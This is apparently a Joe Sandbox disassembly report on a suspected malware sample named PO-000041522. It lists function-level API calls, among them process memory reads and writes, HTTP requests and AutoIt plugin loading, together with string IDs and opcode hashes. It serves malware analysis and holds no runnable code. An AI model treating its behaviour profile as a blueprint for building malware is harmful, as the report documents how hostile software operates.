                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _strncmp
                                                                                                • String ID: >$R$U
                                                                                                • API String ID: 909875538-1924298640
                                                                                                • Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                • Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
                                                                                                • Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                • Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56
                                                                                                APIs
                                                                                                  • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                • CoInitialize.OLE32(00000000), ref: 0046CE18
                                                                                                • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 0046CE31
                                                                                                • CoUninitialize.OLE32 ref: 0046CE50
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                • String ID: .lnk
                                                                                                • API String ID: 886957087-24824748
                                                                                                • Opcode ID: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                • Instruction ID: 09ec1e36491b9dee8eccbfa157b0fc1a83632a56aae6c10d58f94140378ad3aa
                                                                                                • Opcode Fuzzy Hash: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                • Instruction Fuzzy Hash: D3A1ABB5A042019FC704EF64C980E6BB7E9EF88714F14895EF8849B392D735EC45CBA6
                                                                                                Strings
                                                                                                • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcslen
                                                                                                • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                                                • API String ID: 176396367-557222456
                                                                                                • Opcode ID: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                • Instruction ID: 5ec49088f7a0f5eff408c40ec761cfb1cab3d77d8e9f1d748350f88cc39ab646
                                                                                                • Opcode Fuzzy Hash: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                • Instruction Fuzzy Hash: 2C818F715183009FC310EF65C88186BB7E8AF85714F408A2FF5959B2A2E778ED45CB9B
                                                                                                APIs
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                                                                                                • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                                                                                                • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Variant$ClearCopyInit_malloc
                                                                                                • String ID: 4RH
                                                                                                • API String ID: 2981388473-749298218
                                                                                                • Opcode ID: 824d4ccd2555188e03b8d7906139a95c894167287a6b21f52ca80cd18dc84d63
                                                                                                • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                                                                                                • Opcode Fuzzy Hash: 824d4ccd2555188e03b8d7906139a95c894167287a6b21f52ca80cd18dc84d63
                                                                                                • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
                                                                                                APIs
                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                • __wcsnicmp.LIBCMT ref: 0046681A
                                                                                                • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 004668B9
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Connection__wcsnicmp_wcscpy_wcslen
                                                                                                • String ID: LPT$HH
                                                                                                • API String ID: 3035604524-2728063697
                                                                                                • Opcode ID: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                                                • Instruction ID: 32c7950bcbaa764ae6d62266904c1b9f72d26d84b6ae022b5f72856ccecd4d84
                                                                                                • Opcode Fuzzy Hash: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                                                • Instruction Fuzzy Hash: 2151D5B16043009FC720EF65C881B1BB7E5AF85704F11491EFA859B382E779ED49C79A
                                                                                                APIs
                                                                                                  • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                                • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                                                                                  • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                                                                                                • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$MemoryProcess$ReadWrite
                                                                                                • String ID: @
                                                                                                • API String ID: 4055202900-2766056989
                                                                                                • Opcode ID: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                                                                                                • Opcode Fuzzy Hash: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CrackInternet_memset_wcslen
                                                                                                • String ID: |
                                                                                                • API String ID: 915713708-2343686810
                                                                                                • Opcode ID: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                                                                                                • Opcode Fuzzy Hash: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                                                                                                APIs
                                                                                                • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                                                                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                                                                                                • HttpQueryInfoW.WININET ref: 0044A892
                                                                                                  • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                                                • String ID:
                                                                                                • API String ID: 3705125965-3916222277
                                                                                                • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                                                                                                • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                                                                                                APIs
                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00450A84
                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00450AA2
                                                                                                • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00450AB3
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$Long
                                                                                                • String ID: SysTreeView32
                                                                                                • API String ID: 847901565-1698111956
                                                                                                • Opcode ID: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                • Instruction ID: 1ec52148e0427fd314aa46f8515fbaae5756f8dde681787cc4d1a4a364837cef
                                                                                                • Opcode Fuzzy Hash: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                • Instruction Fuzzy Hash: 9831E670244301AFE710DB64CC84B6BB3E8EF98325F104A1EF9A5932D1D7B8AD85CB25
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(?), ref: 00437CB2
                                                                                                • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00437D26
                                                                                                • FreeLibrary.KERNEL32(?,?,AU3_GetPluginDetails), ref: 00437D3D
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Library$AddressFreeLoadProc
                                                                                                • String ID: AU3_GetPluginDetails
                                                                                                • API String ID: 145871493-4132174516
                                                                                                • Opcode ID: 159db8b79bb637b8fab69c0361d8c84176957318bd2dd95690478f8ea76a5ab0
                                                                                                • Instruction ID: 909018a8305b4cb0ce841e730e5bf8c258fddf5044228ae68d4d210ccee2088c
                                                                                                • Opcode Fuzzy Hash: 159db8b79bb637b8fab69c0361d8c84176957318bd2dd95690478f8ea76a5ab0
                                                                                                • Instruction Fuzzy Hash: 054147B96042019FC314DF68D8C4D5AF3E5FF8D304B20866EE9568B751DB35E802CB96
                                                                                                APIs
                                                                                                • DestroyWindow.USER32(00000000,004A83D8,00000000,?,?), ref: 00450C60
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: DestroyWindow
                                                                                                • String ID: msctls_updown32
                                                                                                • API String ID: 3375834691-2298589950
                                                                                                • Opcode ID: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                • Instruction ID: 6a1e1189e42626fde14bc74b9d87f1f450c181bb0fe7a510af516aef360d3f61
                                                                                                • Opcode Fuzzy Hash: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                • Instruction Fuzzy Hash: CE31A279300201AFD624DF54DC81F5B73A9EB9A714F20451EF640AB382C7B4AC4ACB6A
                                                                                                APIs
                                                                                                • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                                                                                                • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                                                                                                • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$MoveWindow
                                                                                                • String ID: Listbox
                                                                                                • API String ID: 3315199576-2633736733
                                                                                                • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                                                                                                • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                                                                                                APIs
                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D243
                                                                                                • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
                                                                                                • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorMode$InformationVolume
                                                                                                • String ID: HH
                                                                                                • API String ID: 2507767853-2761332787
                                                                                                • Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                • Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
                                                                                                • Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                • Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A
                                                                                                APIs
                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D44A
                                                                                                • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
                                                                                                • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorMode$InformationVolume
                                                                                                • String ID: HH
                                                                                                • API String ID: 2507767853-2761332787
                                                                                                • Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                • Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
                                                                                                • Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                • Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A
                                                                                                APIs
                                                                                                • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450D74
                                                                                                • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450D8A
                                                                                                • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450D98
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend
                                                                                                • String ID: msctls_trackbar32
                                                                                                • API String ID: 3850602802-1010561917
                                                                                                • Opcode ID: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                • Instruction ID: c83169f0c5ec68c29a3e9aa847b4a28030a04f73c00385235601d1c9d4ce90e2
                                                                                                • Opcode Fuzzy Hash: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                • Instruction Fuzzy Hash: 4F1193717403117BE610CAA8DC81F5B73E8AB98B25F204A1AFA50A72C1D2B4FC458B68
                                                                                                APIs
                                                                                                  • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046BD78
                                                                                                • WSAGetLastError.WSOCK32(00000000,?,?,00000000,?,?), ref: 0046BD83
                                                                                                • inet_ntoa.WSOCK32(00000000,?), ref: 0046BDCD
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ByteCharErrorLastMultiWidegethostbynameinet_ntoa
                                                                                                • String ID: HH
                                                                                                • API String ID: 1515696956-2761332787
                                                                                                • Opcode ID: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                • Instruction ID: 2fad99cf3c45da3a785a9a513efbde0c8943f1fdc9598a344110207fd9df59bd
                                                                                                • Opcode Fuzzy Hash: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                • Instruction Fuzzy Hash: E21142765043006BC744FB66D885D9FB3A8AFC4318F448C2EF945A7242DA39E949876A
                                                                                                APIs
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                • GetMenuItemInfoW.USER32 ref: 004497EA
                                                                                                • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00449817
                                                                                                • DrawMenuBar.USER32 ref: 00449828
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Menu$InfoItem$Draw_malloc
                                                                                                • String ID: 0
                                                                                                • API String ID: 772068139-4108050209
                                                                                                • Opcode ID: 6185319e308da20cada839ab45c9b495ae08667f7fcbc38289cab910c1f21f55
                                                                                                • Instruction ID: 895394c4ac3d8cdb9511dba433443d5742fa96e32f07ab63668b9f5a94eb31d1
